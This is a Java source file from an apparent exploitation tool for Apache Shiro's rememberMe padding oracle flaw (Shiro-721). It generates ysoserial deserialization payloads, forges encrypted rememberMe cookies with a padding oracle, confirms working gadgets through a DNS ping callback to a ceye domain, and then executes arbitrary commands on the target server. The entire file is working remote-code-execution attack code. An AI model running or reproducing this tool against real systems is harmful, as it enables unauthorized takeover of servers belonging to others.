package com.shiroexploit.vulnverifier;

import com.shiroexploit.core.PaddingOracle;
import com.shiroexploit.util.*;
import java.io.File;
import java.util.ArrayList;
import java.util.List;
import java.util.UUID;

public class Shiro721VerifiertUsingCeye implements Verifier {

    private Config config;
    private List<PayloadType> gadgets;

    public Shiro721VerifiertUsingCeye(){
        System.out.println("[*] Using Shiro721VerifiertUsingCeye");
        this.config = Config.getInstance();
        this.gadgets = new ArrayList<>();
    }


    @Override
    public void getValidGadget() throws ExploitFailedException {

        for(PayloadType type : config.getGadgets()){
            System.out.println("[*] Trying Gadget: " + type.getName());

            String uuid = UUID.randomUUID().toString().replaceAll("-", "");
            //这里用 ping 主要是为了节约检测时间，不需要针对 Windows 和 Linux 去分开对待
            //在 Linux 下，如果 ping 不跟 -c 参数，会一直 ping 下去，这里存在瑕疵，为了检测方便，这点还是可以接受吧
            String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " +
                    type.getName() + " \"ping " + uuid + "." + config.getCeyeDomain() + "\"";

            byte[] result = Tools.exec(command);
            PaddingOracle paddingOracle = new PaddingOracle(config.getRequestInfo(), result);
            String rememberMe = paddingOracle.encrypt();
            System.out.println("[*] rememberMe=" + rememberMe);
            HttpRequest.request(config.getRequestInfo(), rememberMe);

            if(Tools.getCeyeResult(uuid, config.getCeyeToken())){
                this.gadgets.add(type);
                System.out.println("[+] Find Valid Gadget: " + type.getName());
                break;
            }
        }

        if(this.gadgets.size() == 0){
            throw new ExploitFailedException("[-] Can't find a valid gadget");
        }
    }

    @Override
    public String executeCmd(String cmd){
        PayloadType payloadType = Tools.randomSelect(gadgets);

        System.out.println("[*] Using Gadget " + payloadType.getName());
        System.out.println("[*] Executing command: " + cmd + "...");

        String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + payloadType.getName() + " \"" + cmd + "\"";
        byte[] result = Tools.exec(command);
        PaddingOracle paddingOracle = new PaddingOracle(config.getRequestInfo(), result);
        String rememberMe = null;
        try {
            rememberMe = paddingOracle.encrypt();
        } catch (ExploitFailedException e) {
            e.printStackTrace();
        }
        System.out.println("[*] rememberMe=" + rememberMe);
        HttpRequest.request(config.getRequestInfo(), rememberMe);
        System.out.println("[+] Done");

        return null;
    }
}
